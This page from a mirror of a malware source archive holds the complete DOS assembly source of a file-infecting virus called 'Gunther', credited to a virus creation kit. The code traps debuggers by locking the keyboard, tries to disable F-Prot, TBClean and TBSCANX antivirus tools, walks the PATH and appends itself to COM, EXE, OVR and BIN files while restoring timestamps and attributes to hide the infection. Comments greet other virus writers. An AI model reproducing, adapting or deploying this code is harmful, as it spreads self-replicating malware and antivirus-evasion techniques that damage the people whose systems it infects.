mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
423 lines
13 KiB
NASM
423 lines
13 KiB
NASM
; 'Gunther': A Virus From the Virus Creation 2000 System
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; The Virus Creation 2000 System is Copywrited by John Burnette
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; All Rights Reserved.
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; Author: Havoc The Chaos
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; Notes: F<>r my lurv, Kiersten B.
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; Greetings: Dark Angel, DecimatoR, Dark Avenger (You still out there?)
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; The Additude Adjuster, Mucho Mass, The Old Bit Truth Crew,
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; and virus writters (Except those who rely on kits and call
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; them original code) everywhere!
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code segment byte public
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assume cs: code
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org 100h
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id = '=-'
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begin:
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call next ; Get Delta Offset
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next: pop bp
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sub bp, offset next
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push cs
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push cs
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pop ds
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pop es
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mov byte ptr [bp + lock_keys + 3], 244
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; Prefetch Cue Unchanged
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lock_keys:
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mov al, 128 ; Screws DEBUG
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out 21h, al ; If Tracing, Lock Keyboard
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mov ax, 4653h ; Remove F-Prot Utils
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mov bx, 1
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mov cx, 2
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rep int 2Fh
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mov byte ptr cs:[tb_here][bp], 0 ; Reset TB Flag
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xor dx, dx
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mov ds, dx
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mov ax, word ptr ds:[6]
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dec ax
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mov ds, ax
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mov cx, 0FFFFh ; CX = 64k
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mov si, dx ; SI = 0
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look_4_tbclean:
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mov ax, word ptr ds:[si]
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xor ax, 0A5F3h
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je check_it ; Jump If It's TBClean
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look_again:
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inc si ; Continue Search
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loop look_4_tbclean
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jmp not_found ; TBClean Not Found
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check_it:
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mov ax, word ptr ds:[si+4]
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xor ax, 0006h
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jne look_again
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mov ax, word ptr ds:[si+10]
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xor ax, 020Eh
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jne look_again
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mov ax, word ptr ds:[si+12]
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xor ax, 0C700h
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jne look_again
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mov ax, word ptr ds:[si+14]
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xor ax, 406h
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jne look_again
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mov bx, word ptr ds:[si+17] ; Steal REAL Int 1 Offset
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mov byte ptr ds:[bx+16], 0CFh ; Replace With IRET
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mov bx, word ptr ds:[si+27] ; Steal REAL Int 3 Offset
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mov byte ptr ds:[bx+16], 0CFh ; Replece With IRET
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mov byte ptr cs:[tb_here][bp], 1 ; Set The TB Flag On
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mov bx, word ptr ds:[si+51h] ; Get 2nd Segment of
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mov word ptr cs:[tb_int2][bp], bx ; Vector Table
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mov bx, word ptr ds:[si-5] ; Get Offset of 1st Copy
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mov word ptr cs:[tb_ints][bp], bx ; of Vector Table
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not_found:
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mov cx, 9EBh
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mov ax, 0FE05h
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jmp $-2
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add ah, 3Bh ; Hlt Instruction (Kills TD)
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jmp $-10
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mov ax, 0CA00h ; Exit It TBSCANX In Mem
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mov bx, 'TB'
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int 2Fh
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cmp al, 0
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je okay
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ret
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okay:
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mov ah, 47h
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xor dl, dl
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lea si, [bp+offset dir_buff+1] ; Save Original Directory
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int 21h
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push es ; New DTA
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push ds
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mov ah, 1Ah
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lea dx, [bp+offset newDTA]
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int 21h
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lea di, [bp+offset origCSIP2] ; Save For EXE
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lea si, [bp+offset origCSIP]
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mov cx, 4
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rep movsw
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mov byte ptr [bp+numinfected], 0
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mov ax, 3524h ; New INT 24h Handler
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int 21h
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mov ax, 2524h
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mov dx, offset Int24
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int 21h
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traverse_path proc near
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push bp
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pop bx
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mov es, word ptr cs:[2Ch] ; ES = Environment Segment
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xor di, di ; DI = Starting Offset
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find_path:
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mov dx,'As'
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int 0F2h
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lea si,[bx + path_string] ; SI points to "PATH="
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lodsb ; Load First Byte in AL
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mov cx,08000h ; Check 32767 Bytes
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repne scasb ; Search Until The Byte Is Found
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mov cx,4 ; Check The Next Four Bytes
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check_next_4:
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lodsb ; Load The Next Letter of "PATH="
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scasb ; Compare It To Environment
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jne find_path ; Get Another
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loop check_next_4 ; Keep Checking
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mov word ptr [bx + path_ad], di ; Save The PATH Address
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mov word ptr [bx + path_ad + 2], es ; Save The PATH's Segment
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lds si,dword ptr [bx + path_ad] ; DS:SI Points to PATH
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lea di,[bp - 70] ; DI = Work Buffer
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push cs
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pop es
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move_subdir:
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lodsb ; Load Next Byte
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cmp al,';' ; Separator?
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je moved_one ; Yes, We're Done
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or al,al ; End of Path?
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je moved_last_one ; Yes, Quit Our Loop
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stosb ; Store Byte at ES:DI
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jmp short move_subdir ; Keep Transfering Characters
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moved_last_one:
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xor si, si ; Clear Buffer
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moved_one:
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mov word ptr es:[bx + path_ad],si ; Store SI in the path address
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cmp si, 0 ; Done?
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je done ; Done.
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mov ah, 3Bh ; Change Directory
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lea dx, [bx + path_ad]
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int 21h
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lea dx, [di + com_spec] ; Find COM Files
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call infect
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lea dx, [di + exe_spec] ; Find EXE Files
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call infect
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lea dx, [di + ovr_spec] ; Find OV? Files
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call infect
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lea dx, [di + bin_spec] ; Find Binary Files
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call infect
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jmp move_subdir ; Get Another Sub-Directory
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done: ret
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traverse_path endp
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pop ds ; Restore DTA
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pop es
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mov ah, 1Ah
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mov dx, 80h
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int 21h
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cmp sp, id ; EXE?
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jne infect
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restore_exe: ; Restore EXE
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mov ax, ds
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add ax, 10h
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add cs:[bp+word ptr origCSIP2+2], ax
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add ax, cs:[bp+word ptr origSPSS2]
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cli
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mov ss, ax
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mov sp, cs:[bp+word ptr origSPSS2+2]
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sti
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db 00EAh ; Jump To The Original Code
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origCSIP2 db ?
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old3_2 db ?,?,?
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origSPSS2 dd ?
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origCSIP db ?
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old3 db 0cdh,20h,0
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origSPSS dd ?
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restore_com: ; Restore COM
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mov di, 100h
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push di
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lea si, [bp+offset old3_2]
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movsw
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movsb
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return: ret ; Jump To Original Code
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infect:
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mov cx, 7
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mov ah, 4Eh ; Find First File
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findfirstnext:
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int 21h
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jc return
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cmp word ptr [bp+newDTA+33], 'AM' ; COMMAND.COM?
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mov ah, 4Fh
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jz findfirstnext ; Yes, So Get Another File
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lea dx, [bp+newDTA+30] ; Get Attributes
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mov ax, 4300h
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int 21h
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jc return
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push cx ; Save Them
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push dx
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mov ax, 4301h ; Clear Attributes
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push ax
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xor cx, cx
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int 21h
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mov ax, 3D02h ; Open File, Read/Write
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lea dx, [bp+newDTA+30]
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int 21h
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xchg ax, bx
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mov ax, 5700h ; Get File Time/Date
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int 21h
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push cx ; Save Time/Date
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push dx
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mov ah, 3Fh
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mov cx, 1Ah ; Read Into File
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lea dx, [bp+offset readbuffer]
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int 21h
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mov ax, 4202h ; Move Pointer To End Of File
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xor cx, cx
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cwd
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int 21h
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cmp word ptr [bp+offset readbuffer], 'ZM' ; EXE?
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jz checkexe
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mov cx, word ptr [bp+offset readbuffer+1]
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add cx, heap-begin+3 ; CX = Filesize
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cmp ax, cx
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jz jmp_close ; Already Infected
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cmp ax, 65535-(endheap-begin) ; Too Large To Infect?
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ja jmp_close
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lea di, [bp+offset old3] ; Save First Three Bytes
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lea si, [bp+offset readbuffer]
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movsb
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movsw
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mov cx, 3 ; Encoded Jump To Virus
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sub ax, cx
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mov word ptr [bp+offset readbuffer+1], ax
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mov dl, 0E9h
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mov byte ptr [bp+offset readbuffer], dl
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jmp short continue_infect
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checkexe:
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cmp word ptr [bp+offset readbuffer+10h], id
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jnz skipp ; Not Infected, So Infect It
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jmp_close:
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jmp close ; Infected, So Quit
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skipp: lea di, [bp+origCSIP]
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lea si, [bp+readbuffer+14h]
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movsw ; Save CS and IP
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movsw
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sub si, 0Ah ; Save SS and SP
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movsw
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movsw
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push bx ; Filename
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mov bx, word ptr [bp+readbuffer+8] ; Header Size
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mov cl, 4
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shl bx, cl
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push dx
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push ax
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sub ax, bx ; File Size - Header Size
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sbb dx, 0
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mov cx, 10h
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div cx
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mov word ptr [bp+readbuffer+0Eh], ax ; SS
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mov word ptr [bp+readbuffer+10h], id ; SP
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mov word ptr [bp+readbuffer+14h], dx ; IP
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mov word ptr [bp+readbuffer+16h], ax ; CS
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pop ax
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pop dx
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add ax, heap-begin
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adc dx, 0
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mov cl, 9
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push ax
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shr ax, cl
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ror dx, cl
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stc
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adc dx, ax
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pop ax
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and ah, 1
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mov word ptr [bp+readbuffer+2], ax
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mov word ptr [bp+readbuffer+4], dx ; Fix Header
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pop bx
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mov cx, 1Ah
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continue_infect:
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mov ah, 40h
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mov cx, heap-begin ; Add Virus To The End
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lea dx, [bp+offset begin]
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int 21h
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mov ax, 4200h
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xor cx, cx ; Move Pointer To Beginning
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cwd
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int 21h
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mov ah, 40h
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mov cx, 1Ah ; Write Encoded Jump To Virus
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lea dx, [bp+offset readbuffer]
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int 21h
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inc [bp+numinfected] ; Infection Good
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close:
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mov ax, 5701h ; Set Orig Date and Time
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pop dx
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pop cx
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int 21h
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mov ah, 3Eh ; Close File
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int 21h
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pop ax ; Restore Attributes
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pop dx
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pop cx
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int 21h
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cmp [bp+numinfected], 5
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jae bye
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mov ah, 4Fh ; No, So Find Another File
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jmp findfirstnext
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mov ax, 2524h ; New INT 24h Handler
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pop dx
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pop ds
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int 21h
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mov ah, 3Bh ; Function: Change Directory
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lea dx, [bp+dir_buff] ; Restore Current Directory
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int 21h ; Execute Function
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bye: ret
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Int24: mov ax, 3 ; Error Handling
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iret
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exe_spec db '*.EXE',0 ; EXE Filespec
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ovr_spec db '*.OV?',0 ; OV? Filespec
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bin_spec db '*.BIN',0 ; BIN Filespec
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com_spec db '*.COM',0 ; COM Filespec
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path_string db "PATH=" ; The PATH String To Search For
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heap:
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donebin db 0
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dir_buff db 64 dup (0) ; Current Dir Buffer
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newdta db 43 dup (?) ; New Disk Transfer Access
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numinfected db ? ; Number Of Files Infected
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path_ad dd ? ; Holds The PATH's Address
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tb_ints dd 0
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tb_int2 dd 0
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tb_here db 0
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readbuffer db 1ah dup (?)
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endheap:
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code ends
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end begin
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